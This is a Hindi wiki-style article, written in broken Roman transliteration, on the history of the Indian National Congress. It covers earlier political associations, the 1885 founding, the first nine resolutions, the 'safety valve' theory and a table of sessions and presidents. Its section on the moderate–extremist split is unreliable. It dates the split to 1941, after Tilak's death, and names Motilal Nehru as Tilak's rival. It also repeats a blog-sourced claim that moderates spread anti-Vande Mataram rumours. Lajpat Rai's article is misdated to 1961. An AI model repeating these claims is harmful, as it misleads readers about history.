bambee presideansi esosieshan 1885 mumbee phirojashah mehata, badaruddin taiyabaji, ke.ti. tailang adi. bharat mean sivil sarvis pariksha ko ayojit karana evan sarakari padoan par bharatiyoan ki niyukti karana adi. bambee presideansi esosieshan ko pahale ‘bambe esosieshan’ ke nam se jana jata tha. isaki sthapana 1852 ee. mean ki gee thi.
eest iandiya esosieshan 1866 ee. landan dada bhaee nauroji tatkalin bharatiy samasyaoan par vichar karana tatha british janamat ko prabhavit karana.
madras netiv esosieshan 1852 madras is sanstha ne 1857 ee. ke vidrohoan ki nianda ki. atah ise janasamarthan nahian prapt ho saka, jisase shighr hi isaka astitv samapt ho gaya.
madras mahajan sabha mee, 1884 madras sthaniy sangathanoan v sansthaoan ke karyo ko samanvit karana.
poona sarvajanik sabha 1876 ee. pune mahadev govind ranade janata mean rajanitik chetana ka jagaran karana evan maharashtr mean samaj sudhar karana adi.
indiya lig 1875 shishir kumar ghosh bharatiy janamanas mean rashtrayata ki bhavana ko phailana van unhean rajanitik shiksha pradan karana adi.

1838 mean kalakatta mean sthapit laiand holdars sosaiti bharat ki pratham rajanitik sanstha thi jo dvarakanath taigor ke prayasoan se sthapit huee. sanstha ka uddeshy jamiandaroan ke hitoan ki raksha karana tha. sanstha ke any mukhy neta prasann kumar thakur, raja radhakant dev adi the.

bangal british esosieshan

isaki sthapana kalakatta mean huee thi. isaki sthapana mean dvarakanath taigor ki bhoomika agrani thi. is sanstha ke sadasy aangrez bhi the. aangrez jarj thampasan ne sanstha ki adhyakshata ki thi.

garam dal aur naram dal

[[chitr:Motilal-nehru.jpg|thumb| motilal neharoo]] [[chitr:Lokmanya-Bal-Gangadhar-Tilak.jpg|thumb|bal gangadhar tilak]] bharat ki azadi se poorv 1941 tak kaangres parti tho di ubhar chuki thi. lekin vah do khemoan mean vibhajit ho gee. jisamean ek kheme ke samarthak bal gangadhar tilak the aur dusare kheme mean moti lal neharoo the. matabhed tha sarakar banane ko lekar. moti lal neharoo chahate the ki svatantr bharat ki sarakar aangrejoan ke sath koee sanyojak sarakar bane. jabaki gangadhar tilak kahate the ki aangrezoan ke sath milakar sarakar banana to bharat ke logoan ko dhokha dena hai. is matabhed ke karan lokamany tilak kaangres se nikal ge aur unhoanne garam dal banaya. aur is tarah kaangres ke do hisse ho ge ek naram dal aur ek garam dal. garam dal ke neta the lokamany tilak jaise krantikari. ve har jagah vande mataram gaya karate the. aur naram dal ke neta the moti lal neharoo.[2] lekin naram dal vale jyadatar aangrezoan ke sath rahate the. unake sath rahana, unako sunana, unaki baithakoan mean shamil hona. har samay aangrezoan se samajhaute mean rahate the. vande mataram se aangrezoan ko bahut chidh hoti thi. naram dal vale garam dal ko chidhane ke lie 1911 mean likha gaya git "jan gan man" gaya karate the aur garam dal vale "vande mataram". naram dal vale aangrezoan ke samarthak the aur aangrezoan ko ye git pasand nahian tha to aangrezoan ke kahane par naram dal valoan ne us samay ek hava u da di ki musalamanoan ko vande mataram nahian gana chahie kyoan ki isamean butaparasti (moorti pooja) hai. musalaman moorti pooja ke kattar virodhi hai. us samay muslim lig bhi ban gee thi jisake pramukh mohammad ali jinna the.[3]

  1. REDIRECTsaancha:inhean bhi dekhean

sthapana divas

thumb|250px|bharatiy rashtriy kaangres ka dhvaj, 1931 bharatiyoan ke sabase b de is rajanitik sangathan ki sthapana 28 disambar, 1885 ee. ko ki gayi. isaka pahala adhiveshan bambee mean kalakatta haeekort ke bairestar umeshachandr banarji ki adhyakshata mean hua. kaha jata hai ki vaisaray l aaurd dafarin (1884-88 ee.) ne kaangres ki sthapana ka apratyaksh riti se samarthan kiya. yah sahi hai ki ek avakash prapt aangrez adhikari enal akteviyan hyoom kaangres ka janmadata tha aur 1912 ee. mean usaki mrityu ho jane par kaangres ne use apana 'janmadata aur sansthapak' ghoshit kiya tha. gokhale ke anusar 1885 ee. mean hyoom ke siva aur koee vyakti kaangres ki sthapana nahian kar sakata tha. parantu vastusthiti yah pratit hoti hai, jaisa ki si.vaee. chintamani ka mat hai, rajanitik uddeshyoan se rashtriy sammelan ka vichar kee vyaktiyoan ke man mean utha tha aur vah 1885 ee. mean charitarth hua.

prastav

[[chitr:DadaBhai-Naoroji.jpg|thumb|dada bhaee nauroji]] sammelan mean laye gaye kul 9 prastavoan ke dvara sangathan ne apani maange sarakar ke sammukh prastut ki. ye prastav nimnalikhit the-

  1. bharatiy shasan vidhan ki jaanch ke lie ek 'rayal kamishan' ko niyukt kiya jay.
  2. ianglaid mean karyarat 'indiya kauansil' ko samapt kiya jay.
  3. prantiy tatha kendriy vyavasthapika ka vistar kiya jay.
  4. 'indiyan sivil sarvis' (bharatiy prashasanik seva) pariksha ka ayojan bharat evan ianglaind donoan sthanoan par kiya jay.
  5. is pariksha ki umr sima adhikatam 19 se badhakar 23 varsh ki jay.
  6. sainy vyay mean katauti ki jay.
  7. barma, jis par adhikar kar lene ki alochana ki gee thi, ko alag kiya jay.
  8. samast prastavoan ko sabhi pradeshoan ki sabhi rajanitik sansthaoan ko bheja jay, jisase ve inake kriyanvayan ki maang kar sakean.
  9. kaangres ka agala sammalen kalakatta (vartaman kolakata) mean bulaya jay.

kaangres ki sthapana ka sach

28 disambar, 1885 ee. ko bharatiy rashtriy kaangres ki sthapana avakash prapt aee.si.es. adhikari sk aautalaiand nivasi ailan oktoviyan hyoom (e.o. hyoom) ne 'thiyosofikal sosaiti' ke matr 72 rajanitik karyakartaoan ke sahayog se ki thi. yah akhil bharatiy star par rashtravad ki pahali suniyojit abhivyakti thi. akhir in 72 logo ne kaangres ki sthapana kyoan ki aur isake lie yahi samay kyoan chuna? yah prashn ke sath ek mithak arase se ju da hai, aur vah mithak apane ap mean kafi mazabooti rakhata hai. 'sefti valt' (suraksha valv) ka yah mithak pichhali kee pidhiyoan se vidyarthiyoan evan rajanitik karyakartaoan ke jehan mean ghutti mean pilaya ja raha hai. lekin jab itihas ki gaharaeeyoan ko jhaankate haian, to pata chalega ki is mithak mean utana dam nahian hai, jitana ki amataur par isake bare mean mana jata hai. mithak yah hai ki e.o. hyoom aur unake 72 sathiyoan ne aangrez sarakar ke ishare par hi bharatiy rashtriy kaangres ki sthapana ki thi. us samay ke maujooda vaisaray l aaurd dafarin ke nirdesh, margadarshan aur salah par hi hayoom ne is sangathan ko janm diya tha, taki 1857 ki kranti ki viphalata ke bad bharatiy janata mean panapate asantosh ko hiansa ke jvalamukhi ke roop mean bahalane aur phootane se roka ja sake, aur asatosh ki vashp’ ko saumy, surakshit, shantipoorn aur sanvaidhanik vikas ya ‘saiphti valv’ upalabdh karaya ja sakean. ‘yang iandiya’ mean 1961 prakashit apane lekh mean garamapathi neta lalalajapat ray ne ‘suraksha valv’ ki is parikalpana ka istemal kaangres ki naramapanthi paksh par prahar karane ke liye kiya tha. is par lanmbi charcha karate hue lala ji ne apane lekh mean likha tha ki "kaangres l aaurd dafarin ke dimag ki upaj hai." isake bad apani bat age badhate hue unhoanne likha tha ki "kaangres ki sthapana ka uddeshy rajanitik azadi hasil karane se kahi zyada yah tha ki us samay british samrajy par asann khataro se use bachaya ja sakean." yahi nahian udaravadi si. eph. eandrooj aur giraja mukharji ne bhi 1938 ee. mean prakashit ‘bharat mean kaangres ka uday aur vikas mean surakshata balb’ ki bat poori tarah svikar ki thi.

1939 ee. mean 'rashtriy svayansevak sangh' ke sanchalak em.es. golavalakar ne bhi kaangres ki dharm-nirapekshata ke karan use gair-rashtravadi thaharane ke lie ‘suraksha valv’ ki is parikalpana ka istemal kiya tha. unhoanne apane parache ‘vi’ (ham) mean kaha tha ki hindoo rashtriy chetana ko un logo ne tabah kar diya, jo rashtravadi hone ka dava karate haian.' golavalakar ke anusar, hyoom k aautarn aur vedarabarn dvara 1885 ee. mean tay ki gee nitiyaan hi zimmedar thian- in logo ne us samay ubal rahe rashtravad ke khilaf suraksha valv ke taur par kaangres ki sthapana ki thi.[4]

bharatiy rashtriy kaangres ke adhiveshan aur unake adhh‍yaksh

kr.san. adhiveshan sh‍than adhh‍yaksh
1 1885 (28 disamh‍bar) bambee vyomesh chanh‍dr banarji
2 1886 (28 disamh‍bar) kalakath‍ta dadabhaee nauroji
3 1887 (27-28 disamh‍bar) madras saiyad badaruddin taiyabaji
4 1888 (28-29 disamh‍bar) ilahabad j aaurj yool
5 1889 (27-28 disamh‍bar) bambee sar viliyam vaidarabarn
6 1890 (28-29 disamh‍bar) kalakath‍ta phirojashah mehata
7 1891 (26-27 disamh‍bar) nagapur ananh‍d charloo
8 1892 (28-29 disamh‍bar) ilahabad vh‍yomesh chanh‍dr banarji
9 1893 (27-28 disamh‍bar) lahaur dadabhaee nauroji
10 1894 (27-28 disamh‍bar) madras alh‍phred veb
11 1895 (28-29 disamh‍bar) poona surendr nath banarji
12 1896 ()27-28 disamh‍bar kalakath‍ta em.e.sayani
13 1897 (28-29 disamh‍bar) amaravati em.si.shankaran
14 1898 (27-28 disamh‍bar) madras anand mohan bos
15 1899 (27-28 disamh‍bar) lakhanoo ramesh chandr datt
16 1900 (27-28 disamh‍bar) lahaur en.ji.chanh‍dravarakar
17 1901 (27-28 disamh‍bar) kalakath‍ta dinasha ee.vacha
18 1902 (27-28 disamh‍bar) ahamadabad surenh‍dranath banarji
19 1903 (28-30 disamh‍bar) madras lal mohan ghosh
20 1904 (26-28 disamh‍bar) bamh‍bee sar henari k aautan
21 1905 (27-30 disamh‍bar) banaras gopalkrishna gokhale
22 1906 (26-29 disamh‍bar) kalakath‍ta dadabhaee nauroji
23 1907 (26-27 disamh‍bar) soorat rasabihari ghosh
24 1908 (29-30 disamh‍bar) madras rasabihari ghosh
25 1909 (27-29 disamh‍bar) lahaur madanamohan malaviy
26 1910 (28-29 disamh‍bar) ilahabad viliyam vedarabarn
27 1911 (26-28 disamh‍bar) kalakath‍ta bishan narayan dhar
28 1912 (27-28 disamh‍bar) baankipur ar.en.madhukar
29 1913 (26-28 disamh‍bar) karachi nabab saiyad muhamh‍mad
30 1914 (28-30 disamh‍bar) madras bhoopenh‍dranath basu
31 1915 (27-30 disamh‍bar) bamh‍bee es.pi.sinh‍ha
32 1916 (26-30 disamh‍bar) lakhanoo ambika charan majoomadar
33 1917 (28-29 disamh‍bar) kalakath‍ta eni besenh‍t
34 1918 (26-31 disamh‍bar) dilli madanamohan malaviy
35 1919 (27-28 disamh‍bar) amritasar motilal neharoo
36 1920 (26-31 disamh‍bar) nagapur si.vijayaraghavachary
37 1921 (27-28 disamh‍bar) ahamadabad si.ar.das
38 1922 (26-31 disamh‍bar) gaya si.ar.das
39 1923 (28-31 disamh‍bar) kakinada maulana muhamh‍mad ali
40 1924 (26-27 disamh‍bar) belagaanv mahatma gaandhi
41 1925 (26-28 disamh‍bar) kanapur sarojini nayadoo
42 1926 (26-28 disamh‍bar) guvahati es.shrinivas ayangar
43 1927 (26-27 disamh‍bar) madras em.e.aansari
44 1928 (28-31 disamh‍bar) kalakath‍ta motilal neharoo
45 1929 (29-31 disamh‍bar) lahaur javaharalal neharoo
46 1931 (29 march) karaanchi valh‍labhabhaee patel
47 1932 (24 aprail) dilli amrit ranachhod das seth
48 1933 (1 aprail) kalakath‍ta shrimati en.sen guph‍ta
49 1934 (26-28 akh‍toobar) bamh‍bee d aau rajenh‍dr prasad
50 1936 (12-14 disamh‍bar) lakhanoo javaharalal neharoo
51 1937 (27-28 disamh‍bar) phaijapur javaharalal neharoo
52 1938 (19-21 pharavari) haripura subhash chandr bos
53 1939 (10 march) tripura subhash chandr bos
54 1940 (17-19 march) ramagadh maulana abul kalam azad
55 1946 (23 navamh‍bar) merath je.bi.kripalani
56 1947 dilli d aau rajenh‍dr prasad
57 1948 (18-19 disamh‍bar) jayapur d aau pattabhi sitaramaiya


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. bharatiy rashtriy kaangres ka itihas (hindi) (pi.ech.pi) bharatiy rashtriy kaangres. abhigaman tithi: 30 disanbar, 2010.
  2. gaandhiji us samay tak kaangres ki ajivan sadasyata se istipha de chuke the, vo kisi taraph nahian the, lekin gaandhi ji donoan paksh ke lie adaraniy the kyoanki gaandhi ji desh ke logoan ke adaraniy the
  3. vande mataram Vs jan gan man (hiandi) ghar baithe samaj seva ke tarike (bl aaug). abhigaman tithi: 11 disambar, 2012.
  4. kaangres ki sthapana ka sach (hindi) (pi.ech.pi) pravakta d aaut k aaum. abhigaman tithi: 30 disanbar, 2010.

bahari k diyaan

sanbandhit lekh

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